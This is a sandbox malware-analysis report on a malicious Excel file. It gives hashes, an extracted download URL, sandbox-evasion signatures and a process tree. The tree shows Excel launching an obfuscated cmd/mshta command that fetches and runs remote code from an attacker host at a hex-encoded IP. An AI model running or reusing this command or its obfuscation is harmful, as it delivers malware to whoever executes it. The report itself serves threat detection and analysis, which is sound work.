Analysis
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max time kernel
133s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
15-11-2024 15:44
Behavioral task
behavioral1
Sample
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Resource
win10v2004-20241007-en
General
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Target
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
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Size
71KB
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MD5
21fc12ef8a4a4ba5b38a303fa7e70c08
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SHA1
5700a2231371b289eae19ce62e1a73457ee582c4
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SHA256
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
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SHA512
8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654
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SSDEEP
1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr
Malware Config
Extracted
http://185.7.214.7/fer/fe2.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 920 760 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 24 2460 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 760 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 760 EXCEL.EXE 760 EXCEL.EXE 760 EXCEL.EXE 760 EXCEL.EXE 760 EXCEL.EXE 760 EXCEL.EXE 760 EXCEL.EXE 760 EXCEL.EXE 760 EXCEL.EXE 760 EXCEL.EXE 760 EXCEL.EXE 760 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 760 wrote to memory of 920 760 EXCEL.EXE 87 PID 760 wrote to memory of 920 760 EXCEL.EXE 87 PID 920 wrote to memory of 2460 920 cmd.exe 89 PID 920 wrote to memory of 2460 920 cmd.exe 89
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:920 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe2.html3⤵
- Blocklisted process makes network request
PID:2460
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5694863c4e3b51127b7aec17316766819
SHA1676fb15988067b473d333d7181f197d389f93a92
SHA256cce770f41ea2f15c9cf7a04b9bfd2da6f572e481047ea5376f51c226481c47f1
SHA5124d52ceb8c407d653f4fc5f2d28ca187c82535b0d2e19b0aeb917542df07ba80355021e1676662369fa9e5fd2cef07416ab661c7c7b6d3958e43a1483fa53755c